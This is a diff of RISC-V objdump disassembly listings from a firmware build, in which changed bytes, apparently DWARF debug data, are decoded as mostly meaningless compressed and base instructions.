+     e30:	1000                	addi	s0,sp,32
+     e32:	10000003          	lb	zero,256(zero) # 100 <__stack_size-0x700>
+     e36:	6264                	flw	fs1,68(a2)
+     e38:	9c010067          	jr	-1600(sp)
+     e3c:	9809                	andi	s0,s0,-30
+     e3e:	0000                	unimp
+     e40:	4e00                	lw	s0,24(a2)
+     e42:	0005                	c.nop	1
+     e44:	1200                	addi	s0,sp,288
+     e46:	21a4                	fld	fs1,64(a1)
+     e48:	2040                	fld	fs0,128(s0)
+     e4a:	0076                	c.slli	zero,0x1d
+     e4c:	0000                	unimp
+     e4e:	02a0                	addi	s0,sp,328
      e50:	0000                	unimp
-     e52:	00000e37          	lui	t3,0x0
-     e56:	a009                	j	e58 <__stack_size+0x658>
-     e58:	0000                	unimp
-     e5a:	0f00                	addi	s0,sp,912
-     e5c:	1c00                	addi	s0,sp,560
-     e5e:	2284                	fld	fs1,0(a3)
+     e52:	7310                	flw	fa2,32(a4)
+     e54:	7274                	flw	fa3,100(a2)
+     e56:	0100                	addi	s0,sp,128
+     e58:	039f 0098 0000      	0x98039f
+     e5e:	056c                	addi	a1,sp,652
      e60:	0000                	unimp
-     e62:	3101                	jal	a62 <__stack_size+0x262>
-     e64:	0601                	addi	a2,a2,0
-     e66:	21c8                	fld	fa0,128(a1)
-     e68:	2040                	fld	fs0,128(s0)
-     e6a:	0124                	addi	s1,sp,136
-     e6c:	0000                	unimp
-     e6e:	9c01                	0x9c01
-     e70:	1032                	c.slli	zero,0x2c
-     e72:	0000                	unimp
-     e74:	7316                	flw	ft6,100(sp)
-     e76:	7274                	flw	fa3,100(a2)
-     e78:	0100                	addi	s0,sp,128
-     e7a:	320e0133          	0x320e0133
-     e7e:	0010                	0x10
-     e80:	0500                	addi	s0,sp,640
-     e82:	00d9ec03          	0xd9ec03
-     e86:	1680                	addi	s0,sp,864
-     e88:	0070                	addi	a2,sp,12
-     e8a:	3401                	jal	88a <__stack_size+0x8a>
-     e8c:	0f01                	addi	t5,t5,0
-     e8e:	1048                	addi	a0,sp,36
-     e90:	0000                	unimp
-     e92:	0305                	addi	t1,t1,1
-     e94:	d800                	sw	s0,48(s0)
-     e96:	8000                	0x8000
-     e98:	0720                	addi	s0,sp,904
-     e9a:	a004                	fsd	fs1,0(s0)
-     e9c:	0000                	unimp
-     e9e:	0100                	addi	s0,sp,128
-     ea0:	0136                	slli	sp,sp,0xd
-     ea2:	000e9a0f          	0xe9a0f
-     ea6:	2100                	fld	fs0,0(a0)
-     ea8:	004a                	c.slli	zero,0x12
-     eaa:	0000                	unimp
-     eac:	2101                	jal	12ac <__stack_size+0xaac>
-     eae:	00008563          	beqz	ra,eb8 <__stack_size+0x6b8>
-     eb2:	2102                	fld	ft2,0(sp)
-     eb4:	000038af          	0x38af
-     eb8:	38b52103          	lw	sp,907(a0)
-     ebc:	0000                	unimp
-     ebe:	0004                	0x4
-     ec0:	8822                	mv	a6,s0
-     ec2:	01000023          	sb	a6,0(zero) # 0 <__stack_size-0x800>
-     ec6:	0136                	slli	sp,sp,0xd
-     ec8:	722e                	flw	ft4,232(sp)
-     eca:	000e                	c.slli	zero,0x3
-     ecc:	1900                	addi	s0,sp,176
-     ece:	0178                	addi	a4,sp,140
-     ed0:	0000                	unimp
-     ed2:	791d                	lui	s2,0xfffe7
-     ed4:	000e                	c.slli	zero,0x3
-     ed6:	0100                	addi	s0,sp,128
-     ed8:	0138                	addi	a4,sp,136
-     eda:	9a0c                	0x9a0c
-     edc:	000e                	c.slli	zero,0x3
-     ede:	6400                	flw	fs0,8(s0)
-     ee0:	0005                	c.nop	1
-     ee2:	1900                	addi	s0,sp,176
-     ee4:	0198                	addi	a4,sp,192
-     ee6:	0000                	unimp
-     ee8:	6d16                	flw	fs10,68(sp)
-     eea:	01006773          	csrrsi	a4,0x10,0
-     eee:	013a                	slli	sp,sp,0xe
-     ef0:	270e                	fld	fa4,192(sp)
-     ef2:	000e                	c.slli	zero,0x3
-     ef4:	0200                	addi	s0,sp,256
-     ef6:	4091                	li	ra,4
-     ef8:	1e10                	addi	a2,sp,816
-     efa:	4022                	0x4022
-     efc:	1420                	addi	s0,sp,552
-     efe:	0000                	unimp
-     f00:	2600                	fld	fs0,8(a2)
-     f02:	1600000f          	0x1600000f
-     f06:	3061                	jal	78e <__stack_size-0x72>
-     f08:	0100                	addi	s0,sp,128
-     f0a:	013c                	addi	a5,sp,136
-     f0c:	0000c407          	flq	fs0,0(ra)
-     f10:	0100                	addi	s0,sp,128
-     f12:	165a                	slli	a2,a2,0x36
-     f14:	3261                	jal	89c <__stack_size+0x9c>
-     f16:	0100                	addi	s0,sp,128
-     f18:	013c                	addi	a5,sp,136
-     f1a:	0000c407          	flq	fs0,0(ra)
-     f1e:	0100                	addi	s0,sp,128
-     f20:	165c                	addi	a5,sp,804
-     f22:	3361                	jal	caa <__stack_size+0x4aa>
-     f24:	0100                	addi	s0,sp,128
-     f26:	013c                	addi	a5,sp,136
-     f28:	0000c407          	flq	fs0,0(ra)
-     f2c:	0100                	addi	s0,sp,128
-     f2e:	165d                	addi	a2,a2,-9
-     f30:	3461                	jal	9b8 <__stack_size+0x1b8>
-     f32:	0100                	addi	s0,sp,128
-     f34:	013c                	addi	a5,sp,136
-     f36:	0000c407          	flq	fs0,0(ra)
-     f3a:	0100                	addi	s0,sp,128
-     f3c:	165e                	slli	a2,a2,0x37
-     f3e:	3561                	jal	dc6 <__stack_size+0x5c6>
-     f40:	0100                	addi	s0,sp,128
-     f42:	013c                	addi	a5,sp,136
-     f44:	0000c407          	flq	fs0,0(ra)
-     f48:	0100                	addi	s0,sp,128
-     f4a:	005f b01a 0001      	0x1b01a005f
-     f50:	3e00                	fld	fs0,56(a2)
-     f52:	1600000f          	0x1600000f
-     f56:	3061                	jal	7de <__stack_size-0x22>
-     f58:	0100                	addi	s0,sp,128
-     f5a:	c405013f 01000000 	0x1000000c405013f
-     f62:	005a                	c.slli	zero,0x16
-     f64:	3c12                	fld	fs8,288(sp)
-     f66:	4022                	0x4022
-     f68:	3820                	fld	fs0,112(s0)
-     f6a:	001d                	c.nop	7
-     f6c:	5800                	lw	s0,48(s0)
-     f6e:	1300000f          	0x1300000f
-     f72:	5a01                	li	s4,-32
-     f74:	8402                	jr	s0
-     f76:	1300                	addi	s0,sp,416
-     f78:	5b01                	li	s6,-32
-     f7a:	7202                	flw	ft4,32(sp)
-     f7c:	0000                	unimp
-     f7e:	8812                	mv	a6,tp
-     f80:	4022                	0x4022
-     f82:	8a20                	0x8a20
-     f84:	001d                	c.nop	7
-     f86:	7100                	flw	fs0,32(a0)
-     f88:	1300000f          	0x1300000f
-     f8c:	5b01                	li	s6,-32
-     f8e:	7202                	flw	ft4,32(sp)
-     f90:	1300                	addi	s0,sp,416
-     f92:	5c01                	li	s8,-32
-     f94:	4001                	c.li	zero,0
-     f96:	1200                	addi	s0,sp,288
-     f98:	229a                	fld	ft5,384(sp)
-     f9a:	2040                	fld	fs0,128(s0)
-     f9c:	1d96                	slli	s11,s11,0x25
-     f9e:	0000                	unimp
-     fa0:	0f8a                	slli	t6,t6,0x2
+     e62:	b812                	fsd	ft4,48(sp)
+     e64:	4021                	c.li	zero,8
+     e66:	6220                	flw	fs0,64(a2)
+     e68:	0000                	unimp
+     e6a:	7000                	flw	fs0,32(s0)
+     e6c:	0002                	c.slli64	zero
+     e6e:	1000                	addi	s0,sp,32
+     e70:	656c                	flw	fa1,76(a0)
+     e72:	006e                	c.slli	zero,0x1b
+     e74:	9f01                	0x9f01
+     e76:	00008c03          	lb	s8,0(ra)
+     e7a:	8a00                	0x8a00
+     e7c:	0005                	c.nop	1
+     e7e:	1200                	addi	s0,sp,288
+     e80:	21dc                	fld	fa5,128(a1)
+     e82:	2040                	fld	fs0,128(s0)
+     e84:	003a                	c.slli	zero,0xe
+     e86:	0000                	unimp
+     e88:	0219                	addi	tp,tp,6
+     e8a:	0000                	unimp
+     e8c:	6910                	flw	fa2,16(a0)
+     e8e:	0100                	addi	s0,sp,128
+     e90:	039f 0085 0000      	0x85039f
+     e96:	059d                	addi	a1,a1,7
+     e98:	0000                	unimp
+     e9a:	00018013          	mv	zero,gp
+     e9e:	1400                	addi	s0,sp,544
+     ea0:	3061                	jal	728 <__stack_size-0xd8>
+     ea2:	0100                	addi	s0,sp,128
+     ea4:	039f 006b 0000      	0x6b039f
+     eaa:	5a01                	li	s4,-32
+     eac:	0000                	unimp
+     eae:	c215                	beqz	a2,ed2 <__stack_size+0x6d2>
+     eb0:	4021                	c.li	zero,8
+     eb2:	d520                	sw	s0,104(a0)
+     eb4:	000c                	0xc
+     eb6:	3000                	fld	fs0,32(s0)
+     eb8:	0002                	c.slli64	zero
+     eba:	1600                	addi	s0,sp,800
+     ebc:	5a01                	li	s4,-32
+     ebe:	0305                	addi	t1,t1,1
+     ec0:	4264                	lw	s1,68(a2)
+     ec2:	2040                	fld	fs0,128(s0)
+     ec4:	1500                	addi	s0,sp,672
+     ec6:	21dc                	fld	fa5,128(a1)
+     ec8:	2040                	fld	fs0,128(s0)
+     eca:	0ce1                	addi	s9,s9,24
+     ecc:	0000                	unimp
+     ece:	025f 0000 0116      	0x1160000025f
+     ed4:	025a                	slli	tp,tp,0x16
+     ed6:	0084                	addi	s1,sp,64
+     ed8:	0116                	slli	sp,sp,0x5
+     eda:	8008025b          	0x8008025b
+     ede:	0116                	slli	sp,sp,0x5
+     ee0:	055c                	addi	a5,sp,644
+     ee2:	4043d003          	lhu	zero,1028(t2) # 3404 <__stack_size+0x2c04>
+     ee6:	1620                	addi	s0,sp,808
+     ee8:	5d01                	li	s10,-32
+     eea:	7802                	flw	fa6,32(sp)
+     eec:	1600                	addi	s0,sp,800
+     eee:	5f01                	li	t5,-32
+     ef0:	8302                	jr	t1
+     ef2:	0000                	unimp
+     ef4:	40221a17          	auipc	s4,0x40221
+     ef8:	ee20                	fsw	fs0,88(a2)
+     efa:	000c                	0xc
+     efc:	1600                	addi	s0,sp,800
+     efe:	5a01                	li	s4,-32
+     f00:	8402                	jr	s0
+     f02:	0000                	unimp
+     f04:	1500                	addi	s0,sp,672
+     f06:	21aa                	fld	ft3,136(sp)
+     f08:	2040                	fld	fs0,128(s0)
+     f0a:	0cfa                	slli	s9,s9,0x1e
+     f0c:	0000                	unimp
+     f0e:	0284                	addi	s1,sp,320
+     f10:	0000                	unimp
+     f12:	0116                	slli	sp,sp,0x5
+     f14:	025a                	slli	tp,tp,0x16
+     f16:	8008                	0x8008
+     f18:	1700                	addi	s0,sp,928
+     f1a:	21b4                	fld	fa3,64(a1)
+     f1c:	2040                	fld	fs0,128(s0)
+     f1e:	0d06                	slli	s10,s10,0x1
+     f20:	0000                	unimp
+     f22:	0116                	slli	sp,sp,0x5
+     f24:	025a                	slli	tp,tp,0x16
+     f26:	0084                	addi	s1,sp,64
+     f28:	0116                	slli	sp,sp,0x5
+     f2a:	1630015b          	0x1630015b
+     f2e:	5c01                	li	s8,-32
+     f30:	0802                	c.slli64	a6
+     f32:	0080                	addi	s0,sp,64
+     f34:	1500                	addi	s0,sp,672
+     f36:	217e                	fld	ft2,472(sp)
+     f38:	2040                	fld	fs0,128(s0)
+     f3a:	0d12                	slli	s10,s10,0x4
+     f3c:	0000                	unimp
+     f3e:	02ba                	slli	t0,t0,0xe
+     f40:	0000                	unimp
+     f42:	0116                	slli	sp,sp,0x5
+     f44:	025a                	slli	tp,tp,0x16
+     f46:	0079                	c.nop	30
+     f48:	0116                	slli	sp,sp,0x5
+     f4a:	0086025b          	0x86025b
+     f4e:	1500                	addi	s0,sp,672
+     f50:	2186                	fld	ft3,64(sp)
+     f52:	2040                	fld	fs0,128(s0)
+     f54:	0cfa                	slli	s9,s9,0x1e
+     f56:	0000                	unimp
+     f58:	02ce                	slli	t0,t0,0x13
+     f5a:	0000                	unimp
+     f5c:	0116                	slli	sp,sp,0x5
+     f5e:	025a                	slli	tp,tp,0x16
+     f60:	0184                	addi	s1,sp,192
+     f62:	1500                	addi	s0,sp,672
+     f64:	2192                	fld	ft3,256(sp)
+     f66:	2040                	fld	fs0,128(s0)
+     f68:	0cd5                	addi	s9,s9,21
+     f6a:	0000                	unimp
+     f6c:	02e5                	addi	t0,t0,25
+     f6e:	0000                	unimp
+     f70:	0116                	slli	sp,sp,0x5
+     f72:	055a                	slli	a0,a0,0x16
+     f74:	40426403          	0x40426403
+     f78:	0020                	addi	s0,sp,8
+     f7a:	9e15                	0x9e15
+     f7c:	4021                	c.li	zero,8
+     f7e:	1e20                	addi	s0,sp,824
+     f80:	000d                	c.nop	3
+     f82:	ff00                	fsw	fs0,56(a4)
+     f84:	0002                	c.slli64	zero
+     f86:	1600                	addi	s0,sp,800
+     f88:	5a01                	li	s4,-32
+     f8a:	8302                	jr	t1
+     f8c:	1600                	addi	s0,sp,800
+     f8e:	5c01                	li	s8,-32
+     f90:	8402                	jr	s0
+     f92:	0000                	unimp
+     f94:	40221e17          	auipc	t3,0x40221
+     f98:	ee20                	fsw	fs0,88(a2)
+     f9a:	000c                	0xc
+     f9c:	1600                	addi	s0,sp,800
+     f9e:	5a01                	li	s4,-32
+     fa0:	8302                	jr	t1
      fa2:	0000                	unimp
-     fa4:	025a0113          	addi	sp,s4,37
-     fa8:	0072                	c.slli	zero,0x1c
-     faa:	015b0113          	addi	sp,s6,21
-     fae:	0040                	addi	s0,sp,4
-     fb0:	a812                	fsd	ft4,16(sp)
-     fb2:	4022                	0x4022
-     fb4:	1420                	addi	s0,sp,552
-     fb6:	001d                	c.nop	7
-     fb8:	a800                	fsd	fs0,16(s0)
-     fba:	1300000f          	0x1300000f
-     fbe:	5a01                	li	s4,-32
-     fc0:	3101                	jal	bc0 <__stack_size+0x3c0>
-     fc2:	025b0113          	addi	sp,s6,37
-     fc6:	0086                	slli	ra,ra,0x1
-     fc8:	015c0113          	addi	sp,s8,21
-     fcc:	0036                	c.slli	zero,0xd
-     fce:	b212                	fsd	ft4,288(sp)
-     fd0:	4022                	0x4022
-     fd2:	0820                	addi	s0,sp,24
-     fd4:	001d                	c.nop	7
-     fd6:	c800                	sw	s0,16(s0)
-     fd8:	1300000f          	0x1300000f
-     fdc:	5a01                	li	s4,-32
-     fde:	8702                	jr	a4
-     fe0:	1300                	addi	s0,sp,416
-     fe2:	5b01                	li	s6,-32
-     fe4:	7802                	flw	fa6,32(sp)
-     fe6:	1300                	addi	s0,sp,416
-     fe8:	5c01                	li	s8,-32
-     fea:	8202                	jr	tp
-     fec:	0000                	unimp
-     fee:	ba12                	fsd	ft4,304(sp)
-     ff0:	4022                	0x4022
-     ff2:	a220                	fsd	fs0,64(a2)
-     ff4:	001d                	c.nop	7
-     ff6:	e100                	fsw	fs0,0(a0)
-     ff8:	1300000f          	0x1300000f
-     ffc:	5a01                	li	s4,-32
-     ffe:	8202                	jr	tp
-    1000:	1300                	addi	s0,sp,416
-    1002:	5b01                	li	s6,-32
-    1004:	3a01                	jal	914 <__stack_size+0x114>
-    1006:	1200                	addi	s0,sp,288
-    1008:	22c8                	fld	fa0,128(a3)
+     fa4:	1200                	addi	s0,sp,288
+     fa6:	20a2                	fld	ft1,8(sp)
+     fa8:	2040                	fld	fs0,128(s0)
+     faa:	007a                	c.slli	zero,0x1e
+     fac:	0000                	unimp
+     fae:	0408                	addi	a0,sp,512
+     fb0:	0000                	unimp
+     fb2:	6414                	flw	fa3,8(s0)
+     fb4:	6762                	flw	fa4,24(sp)
+     fb6:	0100                	addi	s0,sp,128
+     fb8:	08a4                	addi	s1,sp,88
+     fba:	0579                	addi	a0,a0,30
+     fbc:	0000                	unimp
+     fbe:	7fbc9103          	lh	sp,2043(s9)
+     fc2:	ac15                	j	11f6 <__stack_size+0x9f6>
+     fc4:	4020                	lw	s0,64(s0)
+     fc6:	2a20                	fld	fs0,80(a2)
+     fc8:	000d                	c.nop	3
+     fca:	4400                	lw	s0,8(s0)
+     fcc:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+     fd0:	5a01                	li	s4,-32
+     fd2:	0305                	addi	t1,t1,1
+     fd4:	4320                	lw	s0,64(a4)
+     fd6:	2040                	fld	fs0,128(s0)
+     fd8:	1500                	addi	s0,sp,672
+     fda:	20b6                	fld	ft1,328(sp)
+     fdc:	2040                	fld	fs0,128(s0)
+     fde:	0d2a                	slli	s10,s10,0xa
+     fe0:	0000                	unimp
+     fe2:	0000035b          	0x35b
+     fe6:	0116                	slli	sp,sp,0x5
+     fe8:	055a                	slli	a0,a0,0x16
+     fea:	40433403          	0x40433403
+     fee:	0020                	addi	s0,sp,8
+     ff0:	c815                	beqz	s0,1024 <__stack_size+0x824>
+     ff2:	4020                	lw	s0,64(s0)
+     ff4:	2a20                	fld	fs0,80(a2)
+     ff6:	000d                	c.nop	3
+     ff8:	7200                	flw	fs0,32(a2)
+     ffa:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+     ffe:	5a01                	li	s4,-32
+    1000:	0305                	addi	t1,t1,1
+    1002:	4344                	lw	s1,4(a4)
+    1004:	2040                	fld	fs0,128(s0)
+    1006:	1500                	addi	s0,sp,672
+    1008:	20d2                	fld	ft1,272(sp)
     100a:	2040                	fld	fs0,128(s0)
-    100c:	1d08                	addi	a0,sp,688
+    100c:	0cd5                	addi	s9,s9,21
     100e:	0000                	unimp
-    1010:	0ff8                	addi	a4,sp,988
+    1010:	0389                	addi	t2,t2,2
     1012:	0000                	unimp
-    1014:	055a0113          	addi	sp,s4,85
-    1018:	40583c03          	0x40583c03
+    1014:	0116                	slli	sp,sp,0x5
+    1016:	055a                	slli	a0,a0,0x16
+    1018:	40426403          	0x40426403
     101c:	0020                	addi	s0,sp,8
-    101e:	d012                	sw	tp,32(sp)
-    1020:	4022                	0x4022
-    1022:	0820                	addi	s0,sp,24
-    1024:	001d                	c.nop	7
-    1026:	1200                	addi	s0,sp,288
-    1028:	0010                	0x10
-    102a:	1300                	addi	s0,sp,416
+    101e:	e615                	bnez	a2,104a <__stack_size+0x84a>
+    1020:	4020                	lw	s0,64(s0)
+    1022:	2a20                	fld	fs0,80(a2)
+    1024:	000d                	c.nop	3
+    1026:	a500                	fsd	fs0,8(a0)
+    1028:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
     102c:	5a01                	li	s4,-32
-    102e:	8902                	jr	s2
-    1030:	1300                	addi	s0,sp,416
-    1032:	5b01                	li	s6,-32
-    1034:	8802                	jr	a6
-    1036:	0000                	unimp
-    1038:	4022e01b          	0x4022e01b
-    103c:	1420                	addi	s0,sp,552
-    103e:	001d                	c.nop	7
-    1040:	1300                	addi	s0,sp,416
-    1042:	5a01                	li	s4,-32
-    1044:	3101                	jal	c44 <__stack_size+0x444>
-    1046:	055b0113          	addi	sp,s6,85
-    104a:	4054f003          	0x4054f003
-    104e:	1320                	addi	s0,sp,424
-    1050:	5c01                	li	s8,-32
-    1052:	3601                	jal	b52 <__stack_size+0x352>
-    1054:	0000                	unimp
-    1056:	0000                	unimp
-    1058:	ec08                	fsw	fa0,24(s0)
-    105a:	0000                	unimp
-    105c:	4800                	lw	s0,16(s0)
-    105e:	0010                	0x10
-    1060:	0900                	addi	s0,sp,144
-    1062:	00a0                	addi	s0,sp,72
-    1064:	0000                	unimp
-    1066:	00a00903          	lb	s2,10(zero) # a <__stack_size-0x7f6>
+    102e:	0305                	addi	t1,t1,1
+    1030:	435c                	lw	a5,4(a4)
+    1032:	2040                	fld	fs0,128(s0)
+    1034:	0116                	slli	sp,sp,0x5
+    1036:	015c                	addi	a5,sp,132
+    1038:	0032                	c.slli	zero,0xc
+    103a:	f015                	bnez	s0,f5e <__stack_size+0x75e>
+    103c:	4020                	lw	s0,64(s0)
+    103e:	d520                	sw	s0,104(a0)
+    1040:	000c                	0xc
+    1042:	bc00                	fsd	fs0,56(s0)
+    1044:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+    1048:	5a01                	li	s4,-32
+    104a:	0305                	addi	t1,t1,1
+    104c:	4264                	lw	s1,68(a2)
+    104e:	2040                	fld	fs0,128(s0)
+    1050:	1500                	addi	s0,sp,672
+    1052:	20fc                	fld	fa5,192(s1)
+    1054:	2040                	fld	fs0,128(s0)
+    1056:	0d1e                	slli	s10,s10,0x7
+    1058:	0000                	unimp
+    105a:	000003d7          	0x3d7
+    105e:	0116                	slli	sp,sp,0x5
+    1060:	035a                	slli	t1,t1,0x16
+    1062:	bc91                	j	ab6 <__stack_size+0x2b6>
+    1064:	167f                	0x167f
+    1066:	5c01                	li	s8,-32
+    1068:	8402                	jr	s0
     106a:	0000                	unimp
-    106c:	e608003f 58000000 	0x58000000e608003f
-    1074:	0010                	0x10
-    1076:	0900                	addi	s0,sp,144
-    1078:	00a0                	addi	s0,sp,72
-    107a:	0000                	unimp
-    107c:	82230003          	lb	zero,-2014(t1)
-    1080:	005c                	addi	a5,sp,4
-    1082:	0100                	addi	s0,sp,128
-    1084:	06e9                	addi	a3,a3,26
-    1086:	206c                	fld	fa1,192(s0)
-    1088:	2040                	fld	fs0,128(s0)
-    108a:	015c                	addi	a5,sp,132
-    108c:	0000                	unimp
-    108e:	9c01                	0x9c01
-    1090:	119a                	slli	gp,gp,0x26
-    1092:	0000                	unimp
-    1094:	dd24                	sw	s1,120(a0)
-    1096:	01000043          	fmadd.s	ft0,ft0,fa6,ft0,rne
-    109a:	0bf4                	addi	a3,sp,476
-    109c:	00d5                	addi	ra,ra,21
-    109e:	0000                	unimp
-    10a0:	058e                	slli	a1,a1,0x3
-    10a2:	0000                	unimp
-    10a4:	1e24                	addi	s1,sp,824
-    10a6:	0069                	c.nop	26
-    10a8:	0100                	addi	s0,sp,128
-    10aa:	0bf6                	slli	s7,s7,0x1d
-    10ac:	00c4                	addi	s1,sp,68
-    10ae:	0000                	unimp
-    10b0:	05ca                	slli	a1,a1,0x12
-    10b2:	0000                	unimp
-    10b4:	2624                	fld	fs1,72(a2)
-    10b6:	0069                	c.nop	26
-    10b8:	0100                	addi	s0,sp,128
-    10ba:	00c40bf7          	0xc40bf7
-    10be:	0000                	unimp
-    10c0:	05e8                	addi	a0,sp,716
-    10c2:	0000                	unimp
-    10c4:	e60e                	fsw	ft3,12(sp)
-    10c6:	0039                	c.nop	14
-    10c8:	0100                	addi	s0,sp,128
-    10ca:	10ff                	0x10ff
-    10cc:	119a                	slli	gp,gp,0x26
-    10ce:	0000                	unimp
-    10d0:	7fb09103          	lh	sp,2043(ra)
-    10d4:	1019                	c.nop	-26
-    10d6:	0001                	nop
-    10d8:	1100                	addi	s0,sp,160
-    10da:	0069                	c.nop	26
-    10dc:	0901                	addi	s2,s2,0
-    10de:	0b01                	addi	s6,s6,0
-    10e0:	0030                	addi	a2,sp,8
-    10e2:	0000                	unimp
-    10e4:	3819                	jal	8fa <__stack_size+0xfa>
-    10e6:	0001                	nop
-    10e8:	1800                	addi	s0,sp,48
-    10ea:	00676663          	bltu	a4,t1,10f6 <__stack_size+0x8f6>
-    10ee:	0b01                	addi	s6,s6,0
-    10f0:	1101                	addi	sp,sp,-32
-    10f2:	000000bf 00000606 	0x606000000bf
-    10fa:	7216                	flw	ft4,100(sp)
-    10fc:	01007877          	0x1007877
-    1100:	010d                	addi	sp,sp,3
-    1102:	aa08                	fsd	fa0,16(a2)
-    1104:	0011                	c.nop	4
-    1106:	0300                	addi	s0,sp,384
-    1108:	a491                	j	134c <__stack_size+0xb4c>
-    110a:	1d7f                	0x1d7f
-    110c:	55ae                	lw	a1,232(sp)
-    110e:	0000                	unimp
-    1110:	0f01                	addi	t5,t5,0
-    1112:	1101                	addi	sp,sp,-32
-    1114:	0072                	c.slli	zero,0x1c
-    1116:	0000                	unimp
-    1118:	0619                	addi	a2,a2,6
-    111a:	0000                	unimp
-    111c:	6518                	flw	fa4,8(a0)
-    111e:	646e                	flw	fs0,216(sp)
-    1120:	0100                	addi	s0,sp,128
-    1122:	721a010f          	0x721a010f
+    106c:	0615                	addi	a2,a2,5
+    106e:	4021                	c.li	zero,8
+    1070:	d520                	sw	s0,104(a0)
+    1072:	000c                	0xc
+    1074:	ee00                	fsw	fs0,24(a2)
+    1076:	16000003          	lb	zero,352(zero) # 160 <__stack_size-0x6a0>
+    107a:	5a01                	li	s4,-32
+    107c:	0305                	addi	t1,t1,1
+    107e:	4264                	lw	s1,68(a2)
+    1080:	2040                	fld	fs0,128(s0)
+    1082:	1700                	addi	s0,sp,928
+    1084:	211c                	fld	fa5,0(a0)
+    1086:	2040                	fld	fs0,128(s0)
+    1088:	0d2a                	slli	s10,s10,0xa
+    108a:	0000                	unimp
+    108c:	0116                	slli	sp,sp,0x5
+    108e:	055a                	slli	a0,a0,0x16
+    1090:	4043ac03          	lw	s8,1028(t2)
+    1094:	1620                	addi	s0,sp,808
+    1096:	5b01                	li	s6,-32
+    1098:	7802                	flw	fa6,32(sp)
+    109a:	0000                	unimp
+    109c:	1800                	addi	s0,sp,48
+    109e:	0148                	addi	a0,sp,132
+    10a0:	0000                	unimp
+    10a2:	0500                	addi	s0,sp,640
+    10a4:	0000                	unimp
+    10a6:	c819                	beqz	s0,10bc <__stack_size+0x8bc>
+    10a8:	00a2                	slli	ra,ra,0x8
+    10aa:	0100                	addi	s0,sp,128
+    10ac:	058908b3          	0x58908b3
+    10b0:	0000                	unimp
+    10b2:	7fac9103          	lh	sp,2042(s9)
+    10b6:	0111                	addi	sp,sp,4
+    10b8:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+    10bc:	0cb6                	slli	s9,s9,0xd
+    10be:	0058                	addi	a4,sp,4
+    10c0:	0000                	unimp
+    10c2:	05bc                	addi	a5,sp,712
+    10c4:	0000                	unimp
+    10c6:	4012                	0x4012
+    10c8:	4022                	0x4022
+    10ca:	1020                	addi	s0,sp,40
+    10cc:	0000                	unimp
+    10ce:	4c00                	lw	s0,24(s0)
+    10d0:	0004                	0x4
+    10d2:	1400                	addi	s0,sp,544
+    10d4:	3061                	jal	95c <__stack_size+0x15c>
+    10d6:	0100                	addi	s0,sp,128
+    10d8:	06ba                	slli	a3,a3,0xe
+    10da:	0000006b          	0x6b
+    10de:	5a01                	li	s4,-32
+    10e0:	1800                	addi	s0,sp,48
+    10e2:	0160                	addi	s0,sp,140
+    10e4:	0000                	unimp
+    10e6:	04c6                	slli	s1,s1,0x11
+    10e8:	0000                	unimp
+    10ea:	6414                	flw	fa3,8(s0)
+    10ec:	6762                	flw	fa4,24(sp)
+    10ee:	0100                	addi	s0,sp,128
+    10f0:	0abd                	addi	s5,s5,15
+    10f2:	0599                	addi	a1,a1,6
+    10f4:	0000                	unimp
+    10f6:	7fbc9103          	lh	sp,2043(s9)
+    10fa:	6615                	lui	a2,0x5
+    10fc:	4022                	0x4022
+    10fe:	1e20                	addi	s0,sp,824
+    1100:	000d                	c.nop	3
+    1102:	8600                	0x8600
+    1104:	0004                	0x4
+    1106:	1600                	addi	s0,sp,800
+    1108:	5a01                	li	s4,-32
+    110a:	7fbc9103          	lh	sp,2043(s9)
+    110e:	0116                	slli	sp,sp,0x5
+    1110:	ac91035b          	0xac91035b
+    1114:	167f                	0x167f
+    1116:	5c01                	li	s8,-32
+    1118:	4001                	c.li	zero,0
+    111a:	1500                	addi	s0,sp,672
+    111c:	2274                	fld	fa3,192(a2)
+    111e:	2040                	fld	fs0,128(s0)
+    1120:	0cd5                	addi	s9,s9,21
+    1122:	0000                	unimp
+    1124:	049a                	slli	s1,s1,0x6
     1126:	0000                	unimp
-    1128:	7200                	flw	fs0,32(a2)
-    112a:	0006                	c.slli	zero,0x1
-    112c:	1700                	addi	s0,sp,928
-    112e:	a5e1                	j	17f6 <__stack_size+0xff6>
-    1130:	0000                	unimp
-    1132:	1101                	addi	sp,sp,-32
-    1134:	0801                	addi	a6,a6,0
-    1136:	11ba                	slli	gp,gp,0x2e
-    1138:	0000                	unimp
-    113a:	7fa89103          	lh	sp,2042(a7)
-    113e:	601a                	flw	ft0,132(sp)
-    1140:	0001                	nop
-    1142:	4c00                	lw	s0,24(s0)
-    1144:	0011                	c.nop	4
-    1146:	1800                	addi	s0,sp,48
-    1148:	006a                	c.slli	zero,0x1a
-    114a:	1e01                	addi	t3,t3,-32
-    114c:	0d01                	addi	s10,s10,0
-    114e:	0030                	addi	a2,sp,8
-    1150:	0000                	unimp
-    1152:	000006cb          	fnmsub.s	fa3,ft0,ft0,ft0,rne
-    1156:	9c1f 4021 2020      	0x202040219c1f
-    115c:	0000                	unimp
-    115e:	1d00                	addi	s0,sp,688
-    1160:	0000a23b          	0xa23b
-    1164:	2001                	jal	1164 <__stack_size+0x964>
-    1166:	1501                	addi	a0,a0,-32
-    1168:	00e1                	addi	ra,ra,24
-    116a:	0000                	unimp
-    116c:	00000703          	lb	a4,0(zero) # 0 <__stack_size-0x800>
-    1170:	0000                	unimp
-    1172:	ce14                	sw	a3,24(a2)
-    1174:	4020                	lw	s0,64(s0)
-    1176:	ae20                	fsd	fs0,88(a2)
-    1178:	001d                	c.nop	7
-    117a:	1200                	addi	s0,sp,288
-    117c:	2136                	fld	ft2,328(sp)
-    117e:	2040                	fld	fs0,128(s0)
-    1180:	1d2c                	addi	a1,sp,696
-    1182:	0000                	unimp
-    1184:	116a                	slli	sp,sp,0x3a
-    1186:	0000                	unimp
-    1188:	035a0113          	addi	sp,s4,53
-    118c:	a891                	j	11e0 <__stack_size+0x9e0>
-    118e:	007f                	0x7f
-    1190:	40214a1b          	0x40214a1b
-    1194:	0820                	addi	s0,sp,24
-    1196:	001d                	c.nop	7
-    1198:	1300                	addi	s0,sp,416
-    119a:	5a01                	li	s4,-32
-    119c:	0305                	addi	t1,t1,1
-    119e:	57c0                	lw	s0,44(a5)
-    11a0:	2040                	fld	fs0,128(s0)
